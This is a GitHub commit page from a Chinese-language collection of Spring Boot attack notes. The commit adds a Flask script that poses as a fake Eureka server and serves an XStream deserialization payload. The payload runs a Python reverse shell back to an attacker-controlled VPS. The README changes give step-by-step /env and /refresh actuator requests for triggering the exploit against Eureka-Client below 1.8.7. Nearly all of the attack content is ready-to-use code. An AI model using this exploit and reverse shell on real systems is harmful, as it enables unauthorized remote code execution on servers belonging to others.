Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit cdb25bc

Browse files
committed
add xstream rce script
1 parent 93ff76c commit cdb25bc

File tree

3 files changed

+203
-8
lines changed

3 files changed

+203
-8
lines changed

‎.gitignore

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
2+
.DS_Store

‎README.md

Lines changed: 145 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -134,14 +134,16 @@ SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全
134134

135135
#### **利用条件:**
136136

137+
- 可以 POST 请求目标网站的 `/env` 接口设置属性
138+
- 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 spring-boot-starter-actuator 组件)
137139
- 目标使用了 spring-cloud 相关组件
138-
- 可以请求攻击者的 HTTP 服务器拉取文件(请求可出外网)
140+
- 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
139141

140142

141143

142144
#### **利用方法:**
143145

144-
**步骤一:** 托管 yml 和 jar 文件
146+
##### 步骤一: 托管 yml 和 jar 文件
145147

146148
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
147149

@@ -170,7 +172,7 @@ python3 -m http.server 80
170172

171173

172174

173-
**步骤二:** 设置 spring.cloud.bootstrap.location 属性
175+
##### 步骤二: 设置 spring.cloud.bootstrap.location 属性
174176

175177
spring 1.x
176178

@@ -192,15 +194,14 @@ Content-Type: application/json
192194

193195

194196

195-
**步骤三:** 配置更新
197+
##### 步骤三: 刷新配置
196198

197199
spring 1.x
198200

199201
```
200202
POST /refresh HTTP/1.1
201203
Content-Type: application/x-www-form-urlencoded
202204
203-
204205
```
205206

206207
spring 2.x
@@ -209,7 +210,6 @@ spring 2.x
209210
POST /actuator/refresh HTTP/1.1
210211
Content-Type: application/json
211212
212-
213213
```
214214

215215

@@ -227,13 +227,150 @@ Content-Type: application/json
227227

228228
#### 漏洞分析:
229229

230-
[Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记](https://www.anquanke.com/post/id/195929)
230+
[Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记](https://www.anquanke.com/post/id/195929)
231+
232+
233+
234+
235+
236+
### 0x03:XStream deserialization RCE
237+
238+
#### **利用条件:**
239+
240+
- 可以 POST 请求目标网站的 `/env` 接口设置属性
241+
- 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 spring-boot-starter-actuator 组件)
242+
- 目标使用了 `Eureka-Client < 1.8.7`(通常包含在 spring-cloud-starter-netflix-eureka-client 中)组件
243+
- 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
244+
245+
246+
247+
#### **利用方法:**
248+
249+
##### 步骤一:架设响应恶意 xstream payload 的网站
250+
251+
下面是一个依赖 Flask 的符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自带的 python 来反弹shell:
252+
253+
```python
254+
#!/usr/bin/env python
255+
# coding: utf-8
256+
# -**- Author: LandGrey -**-
257+
258+
from flask import Flask, Response
259+
260+
app = Flask(__name__)
261+
262+
263+
@app.route('/', defaults={'path': ''})
264+
@app.route('/<path:path>', methods=['GET', 'POST'])
265+
def catch_all(path):
266+
xml = """<linked-hash-set>
267+
<jdk.nashorn.internal.objects.NativeString>
268+
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
269+
<dataHandler>
270+
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
271+
<is class="javax.crypto.CipherInputStream">
272+
<cipher class="javax.crypto.NullCipher">
273+
<serviceIterator class="javax.imageio.spi.FilterIterator">
274+
<iter class="javax.imageio.spi.FilterIterator">
275+
<iter class="java.util.Collections$EmptyIterator"/>
276+
<next class="java.lang.ProcessBuilder">
277+
<command>
278+
<string>/bin/bash</string>
279+
<string>-c</string>
280+
<string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
281+
</command>
282+
<redirectErrorStream>false</redirectErrorStream>
283+
</next>
284+
</iter>
285+
<filter class="javax.imageio.ImageIO$ContainsFilter">
286+
<method>
287+
<class>java.lang.ProcessBuilder</class>
288+
<name>start</name>
289+
<parameter-types/>
290+
</method>
291+
<name>foo</name>
292+
</filter>
293+
<next class="string">foo</next>
294+
</serviceIterator>
295+
<lock/>
296+
</cipher>
297+
<input class="java.lang.ProcessBuilder$NullInputStream"/>
298+
<ibuffer></ibuffer>
299+
</is>
300+
</dataSource>
301+
</dataHandler>
302+
</value>
303+
</jdk.nashorn.internal.objects.NativeString>
304+
</linked-hash-set>"""
305+
return Response(xml, mimetype='application/xml')
306+
307+
308+
if __name__ == "__main__":
309+
app.run(host='0.0.0.0', port=80)
310+
311+
```
312+
313+
314+
315+
使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。
316+
317+
318+
319+
##### 步骤二:设置 eureka.client.serviceUrl.defaultZone 属性
320+
321+
spring 1.x
322+
323+
```
324+
POST /env HTTP/1.1
325+
Content-Type: application/x-www-form-urlencoded
326+
327+
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
328+
```
329+
330+
spring 2.x
331+
332+
```
333+
POST /actuator/env HTTP/1.1
334+
Content-Type: application/json
335+
336+
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
337+
```
338+
339+
340+
341+
##### 步骤三:刷新配置
342+
343+
spring 1.x
344+
345+
```
346+
POST /refresh HTTP/1.1
347+
Content-Type: application/x-www-form-urlencoded
348+
349+
```
350+
351+
spring 2.x
352+
353+
```
354+
POST /actuator/refresh HTTP/1.1
355+
Content-Type: application/json
356+
357+
```
358+
359+
360+
361+
#### **漏洞原理:**
362+
363+
1. eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址
364+
2. refresh 触发受害机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload
365+
3. 目标机器相关组件解析 payload,触发 XStream 反序列化,造成 RCE 漏洞
366+
231367

232368

369+
#### **漏洞分析:**
233370

371+
[Spring Boot Actuator从未授权访问到getshell](https://www.freebuf.com/column/234719.html)
234372

235373

236-
### 0x03:xstream deserialization RCE
237374

238375

239376

‎codebase/springboot-xstream-rce.py

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
#!/usr/bin/env python
2+
# coding: utf-8
3+
# -**- Author: LandGrey -**-
4+
5+
from flask import Flask, Response
6+
7+
app = Flask(__name__)
8+
9+
10+
@app.route('/', defaults={'path': ''})
11+
@app.route('/<path:path>', methods=['GET', 'POST'])
12+
def catch_all(path):
13+
xml = """<linked-hash-set>
14+
<jdk.nashorn.internal.objects.NativeString>
15+
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
16+
<dataHandler>
17+
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
18+
<is class="javax.crypto.CipherInputStream">
19+
<cipher class="javax.crypto.NullCipher">
20+
<serviceIterator class="javax.imageio.spi.FilterIterator">
21+
<iter class="javax.imageio.spi.FilterIterator">
22+
<iter class="java.util.Collections$EmptyIterator"/>
23+
<next class="java.lang.ProcessBuilder">
24+
<command>
25+
<string>/bin/bash</string>
26+
<string>-c</string>
27+
<string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
28+
</command>
29+
<redirectErrorStream>false</redirectErrorStream>
30+
</next>
31+
</iter>
32+
<filter class="javax.imageio.ImageIO$ContainsFilter">
33+
<method>
34+
<class>java.lang.ProcessBuilder</class>
35+
<name>start</name>
36+
<parameter-types/>
37+
</method>
38+
<name>foo</name>
39+
</filter>
40+
<next class="string">foo</next>
41+
</serviceIterator>
42+
<lock/>
43+
</cipher>
44+
<input class="java.lang.ProcessBuilder$NullInputStream"/>
45+
<ibuffer></ibuffer>
46+
</is>
47+
</dataSource>
48+
</dataHandler>
49+
</value>
50+
</jdk.nashorn.internal.objects.NativeString>
51+
</linked-hash-set>"""
52+
return Response(xml, mimetype='application/xml')
53+
54+
55+
if __name__ == "__main__":
56+
app.run(host='0.0.0.0', port=80)

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /